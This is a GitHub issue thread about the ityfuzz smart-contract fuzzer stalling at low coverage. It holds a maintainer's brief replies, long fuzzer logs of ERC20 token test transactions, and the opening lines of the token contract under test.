search

fuzzland / ityfuzz

Blazing Fast Bytecode-Level Hybrid Fuzzer for Smart Contracts
https://docs.ityfuzz.rs
MIT License
735 stars 116 forks source link

not produce more corpus #436

Open 2590438469 opened 4 months ago

2590438469 commented 4 months ago

When I was testing the off-chain smart contract, the system only generated a few dozen test cases and then stopped. Afterwards, it kept outputting basic information. I want to know why it didn't continue to output transaction information like Txn: [Sender] 0x8EF508Aca04B32Ff3ba5003177cb18BfA6Cd79dd ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transferFrom(0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024, 0x8EF508Aca04B32Ff3ba5003177cb18BfA6Cd79dd, 5) │ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001e536166654d6174683a207375627472616374696f6e206f766572666c6f770000

Does this mean that it also stopped generating new test cases?

shouc commented 4 months ago

It means it cannot find any more "interesting" testcase that can increase test coverage, likely the coverage is already = 100%

2590438469 commented 4 months ago

It means it cannot find any more "interesting" testcase that can increase test coverage, likely the coverage is already = 100%

“INFO ============= New Corpus Item ============= INFO Reverted? true Txn: [Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transfer(0xbF20B5892012c2a70a2212b06915494f7f7174E1, 100) │ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001e536166654d6174683a207375627472616374696f6e206f766572666c6f770000

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 29, objectives: 0, executions: 646, exec/sec: 0.000 INFO ============= Coverage Summary ============= INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 33.87% Instruction Covered, 31.25% Branch Covered INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 29, objectives: 0, executions: 646, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? true Txn: [Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transfer(0xe1A425f1AC34A8a441566f93c82dD730639c8510, 1) │ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001e536166654d6174683a207375627472616374696f6e206f766572666c6f770000

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 30, objectives: 0, executions: 730, exec/sec: 0.000 INFO ============= Coverage Summary ============= INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 33.87% Instruction Covered, 32.14% Branch Covered INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered INFO [Stats #0] run time: 0h-0m-1s, clients: 1, corpus: 30, objectives: 0, executions: 51882, exec/sec: 49.16k INFO [Stats #0] run time: 0h-0m-2s, clients: 1, corpus: 30, objectives: 0, executions: 113615, exec/sec: 55.27k INFO [Stats #0] run time: 0h-0m-3s, clients: 1, corpus: 30, objectives: 0, executions: 175512, exec/sec: 57.43k INFO [Stats #0] run time: 0h-0m-4s, clients: 1, corpus: 30, objectives: 0, executions: 237295, exec/sec: 58.50k INFO [Stats #0] run time: 0h-0m-5s, clients: 1, corpus: 30, objectives: 0, executions: 299278, exec/sec: 59.18k INFO [Stats #0] run time: 0h-0m-6s, clients: 1, corpus: 30, objectives: 0, executions: 361578, exec/sec: 59.69k INFO [Stats #0] run time: 0h-0m-7s, clients: 1, corpus: 30, objectives: 0, executions: 423509, exec/sec: 60.01k”

The above is the last part of the output that I re-captured. It can be seen that the coverage did not reach 100%, or even 50%, and it stopped generating new test cases. What could be the reason for this

shouc commented 4 months ago

It is likely you did not deploy the contracts correctly. Would you mind sharing them?

2590438469 commented 4 months ago

I get a contract from etherscan,I use "solc .sol -o . --bin --abi --overwrite --base-path ../../../ --combined-json bin-runtime,srcmap-runtime" to compile it.Then I use "ityfuzz evm -t '../../testContract/' --base-path ../../" to start.Here is the whole information:

================ EVM Fuzzer Start ===================

INFO Deploying contract: ../../backup/contract/GaugeHelperContract/MXI INFO Contract ../../backup/contract/GaugeHelperContract/MXI deployed to: 0xbf20b5892012c2a70a2212b06915494f7f7174e1 INFO Deploying contract: ../../backup/contract/GaugeHelperContract/Ownable INFO Contract ../../backup/contract/GaugeHelperContract/Ownable deployed to: 0x562300ef78bcea805decade6571054968d54d2be INFO Deploying contract: ../../backup/contract/GaugeHelperContract/SafeMath INFO Contract ../../backup/contract/GaugeHelperContract/SafeMath deployed to: 0x6d26b5cddaa81c76e51d68450a91ee32117478eb INFO Deployed all contracts

INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 0, objectives: 0, executions: 0, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? false Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257) │ └─ ← 0x01

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 13, objectives: 0, executions: 1, exec/sec: 0.000 INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 13, objectives: 0, executions: 1, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? true Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x0000000000000000000000000000000000000000, 14532097118007400494995727436556564244933246468209580781964.1791 ether) │ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002245524332303a20617070726f766520746f20746865207a65726f2061646472657373000000000000000000000000000000000000000000000000000000000000

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 14, objectives: 0, executions: 5, exec/sec: 0.000 INFO ============= Coverage Summary ============= INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 13.01% Instruction Covered, 8.04% Branch Covered INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 14, objectives: 0, executions: 5, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? false Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0xe1A425f1AC34A8a441566f93c82dD730639c8510, 17668470648119397166285296946553604954100067619801204480.1772 ether) │ └─ ← 0x01 [Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.decimals() │ └─ ← 0x09

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 15, objectives: 0, executions: 33, exec/sec: 0.000 INFO ============= Coverage Summary ============= INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 13.01% Instruction Covered, 8.04% Branch Covered INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 15, objectives: 0, executions: 33, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? false Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257) │ └─ ← 0x01 [Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.name() │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000c4d58492050726f746f636f6c0000000000000000000000000000000000000000

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 16, objectives: 0, executions: 59, exec/sec: 0.000 INFO ============= Coverage Summary ============= INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 13.01% Instruction Covered, 8.04% Branch Covered INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 16, objectives: 0, executions: 59, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? true Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024, 6252581806789916449810294266015592907942.4354 ether) │ └─ ← 0x01 [Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.openTrading() │ └─ ← 0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000204f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 17, objectives: 0, executions: 85, exec/sec: 0.000 INFO ============= Coverage Summary ============= INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 13.01% Instruction Covered, 8.04% Branch Covered INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 17, objectives: 0, executions: 85, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? true Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024, 6252581806789916449810294266015592907942.4354 ether) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 411376139330301510538742635926896844042682257.4115 ether) │ └─ ← 0x01 [Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.removeLimits() │ └─ ← 0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000204f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 18, objectives: 0, executions: 117, exec/sec: 0.000 INFO ============= Coverage Summary ============= INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 13.01% Instruction Covered, 8.04% Branch Covered INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 18, objectives: 0, executions: 117, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? true Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0xe1A425f1AC34A8a441566f93c82dD730639c8510, 17668470648119397166285296946553604954100067619801204480.1772 ether) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x562300ef78Bcea805DEcADe6571054968D54d2bE, 1809251394333066356962318770255886331189703311727054044491.2118 ether) │ └─ ← 0x01 [Sender] 0xe1A425f1AC34A8a441566f93c82dD730639c8510 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.renounceOwnership() │ └─ ← 0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000204f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 19, objectives: 0, executions: 149, exec/sec: 0.000 INFO ============= Coverage Summary ============= INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 13.01% Instruction Covered, 8.04% Branch Covered INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 19, objectives: 0, executions: 149, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? false Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257) │ └─ ← 0x01 [Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.symbol() │ └─ ← 0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000034d58490000000000000000000000000000000000000000000000000000000000

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 20, objectives: 0, executions: 181, exec/sec: 0.000 INFO ============= Coverage Summary ============= INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 13.01% Instruction Covered, 8.04% Branch Covered INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 20, objectives: 0, executions: 181, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? false Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x562300ef78Bcea805DEcADe6571054968D54d2bE, 1580500018685386542065675832442182984097788701395100735.7658 ether) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.totalSupply() │ └─ ← 0x05d697537a8f2000

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 21, objectives: 0, executions: 206, exec/sec: 0.000 INFO ============= Coverage Summary ============= INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 13.01% Instruction Covered, 8.04% Branch Covered INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 21, objectives: 0, executions: 206, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? true Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024, 6252581806789916449810294266015592907942.4354 ether) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0xbF20B5892012c2a70a2212b06915494f7f7174E1, 74179307167655689300163206530180966510463176287870998467971.7755 ether) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 745) │ └─ ← 0x01 [Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transfer(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 1600660942523603594778126302917954936106100.6383 ether) │ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001a4578636565647320746865206d617857616c6c657453697a652e000000000000

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 22, objectives: 0, executions: 234, exec/sec: 0.000 INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 22, objectives: 0, executions: 234, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? true Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024, 6252581806789916449810294266015592907942.4354 ether) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 411376139330301510538742635926896844042682257.4115 ether) │ └─ ← 0x01 [Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transfer(0x0000000000000000000000000000000000000000, 0) │ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002345524332303a207472616e7366657220746f20746865207a65726f20616464726573730000000000000000000000000000000000000000000000000000000000

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 23, objectives: 0, executions: 235, exec/sec: 0.000 INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 23, objectives: 0, executions: 235, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? true Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024, 6252581806789916449810294266015592907942.4354 ether) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0xbF20B5892012c2a70a2212b06915494f7f7174E1, 74179307167655689300163206530180966510463176287870998467971.7755 ether) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transfer(0x562300ef78Bcea805DEcADe6571054968D54d2bE, 94904104512153312746296689511655831747302810024086495536623.3071 ether) │ └─ ← 0x4e487b710000000000000000000000000000000000000000000000000000000000000011

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 24, objectives: 0, executions: 239, exec/sec: 0.000 INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 24, objectives: 0, executions: 239, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? true Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0xe1A425f1AC34A8a441566f93c82dD730639c8510, 17668470648119397166285296946553604954100067619801204480.1772 ether) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x562300ef78Bcea805DEcADe6571054968D54d2bE, 1809251394333066356962318770255886331189703311727054044491.2118 ether) │ └─ ← 0x01 [Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transfer(0xbF20B5892012c2a70a2212b06915494f7f7174E1, 0) │ └─ ← 0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000295472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f0000000000000000000000000000000000000000000000

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 25, objectives: 0, executions: 247, exec/sec: 0.000 INFO ============= Coverage Summary ============= INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 24.45% Instruction Covered, 21.43% Branch Covered INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 25, objectives: 0, executions: 247, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? true Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024, 6252581806789916449810294266015592907942.4354 ether) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0xbF20B5892012c2a70a2212b06915494f7f7174E1, 74179307167655689300163206530180966510463176287870998467971.7755 ether) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 745) │ └─ ← 0x01 [Sender] 0x8EF508Aca04B32Ff3ba5003177cb18BfA6Cd79dd ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transferFrom(0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000, 5708990770823839524233143877.7979 ether) │ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002545524332303a207472616e736665722066726f6d20746865207a65726f2061646472657373000000000000000000000000000000000000000000000000000000

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 26, objectives: 0, executions: 266, exec/sec: 0.000 INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 26, objectives: 0, executions: 266, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? true Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257) │ └─ ← 0x01 ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x562300ef78Bcea805DEcADe6571054968D54d2bE, 1580500018685386542065675832442182984097788701395100735.7658 ether) │ └─ ← 0x01 [Sender] 0x8EF508Aca04B32Ff3ba5003177cb18BfA6Cd79dd ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transferFrom(0x8EF508Aca04B32Ff3ba5003177cb18BfA6Cd79dd, 0x6D26b5CdDAa81c76E51d68450A91eE32117478eb, 11257) │ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001e536166654d6174683a207375627472616374696f6e206f766572666c6f770000

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 27, objectives: 0, executions: 276, exec/sec: 0.000 INFO ============= Coverage Summary ============= INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 33.87% Instruction Covered, 31.25% Branch Covered INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 27, objectives: 0, executions: 276, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? false Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0xe1A425f1AC34A8a441566f93c82dD730639c8510, 17668470648119397166285296946553604954100067619801204480.1772 ether) │ └─ ← 0x01 [Sender] 0xe1A425f1AC34A8a441566f93c82dD730639c8510 └─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.call{value: 4294967296}()

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 28, objectives: 0, executions: 299, exec/sec: 0.000 INFO ============= Coverage Summary ============= INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 33.87% Instruction Covered, 31.25% Branch Covered INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 28, objectives: 0, executions: 299, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? true Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257) │ └─ ← 0x01 [Sender] 0x8EF508Aca04B32Ff3ba5003177cb18BfA6Cd79dd ├─[1] 0x562300ef78Bcea805DEcADe6571054968D54d2bE.renounceOwnership() │ └─ ← 0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000204f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 29, objectives: 0, executions: 330, exec/sec: 0.000 INFO ============= Coverage Summary ============= INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 33.87% Instruction Covered, 31.25% Branch Covered INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 29, objectives: 0, executions: 330, exec/sec: 0.000 INFO ============= New Corpus Item ============= INFO Reverted? true Txn: [Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb ├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transfer(0xbF20B5892012c2a70a2212b06915494f7f7174E1, 1) │ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001e536166654d6174683a207375627472616374696f6e206f766572666c6f770000

INFO ========================================== INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 30, objectives: 0, executions: 627, exec/sec: 0.000 INFO ============= Coverage Summary ============= INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 33.87% Instruction Covered, 32.14% Branch Covered INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered INFO [Stats #0] run time: 0h-0m-1s, clients: 1, corpus: 30, objectives: 0, executions: 45443, exec/sec: 42.46k INFO [Stats #0] run time: 0h-0m-2s, clients: 1, corpus: 30, objectives: 0, executions: 105172, exec/sec: 50.79k INFO [Stats #0] run time: 0h-0m-3s, clients: 1, corpus: 30, objectives: 0, executions: 166722, exec/sec: 54.29k INFO [Stats #0] run time: 0h-0m-4s, clients: 1, corpus: 30, objectives: 0, executions: 228413, exec/sec: 56.10k INFO [Stats #0] run time: 0h-0m-5s, clients: 1, corpus: 30, objectives: 0, executions: 290857, exec/sec: 57.35k INFO [Stats #0] run time: 0h-0m-6s, clients: 1, corpus: 30, objectives: 0, executions: 353133, exec/sec: 58.16k INFO [Stats #0] run time: 0h-0m-7s, clients: 1, corpus: 30, objectives: 0, executions: 415949, exec/sec: 58.82k Thanks for your reply

2590438469 commented 4 months ago

here is the contract ：

/* Submitted for verification at Etherscan.io on 2024-03-05 */

// SPDX-License-Identifier: MIT pragma solidity ^0.8.15;

/*

Trade crypto hassle-free with deep aggregated liquidity, up to 100x leverage, optimized trading cost, diverse markets, smart position routing and lightning-fast execution.

Web: https://mxi-tech.pro
App: https://app.mxi-tech.pro
X: https://x.com/MXI_TECH_ERC
Tg: https://t.me/mxi_tech_official
M: https://medium.com/@mxi.tech

*/

abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } }

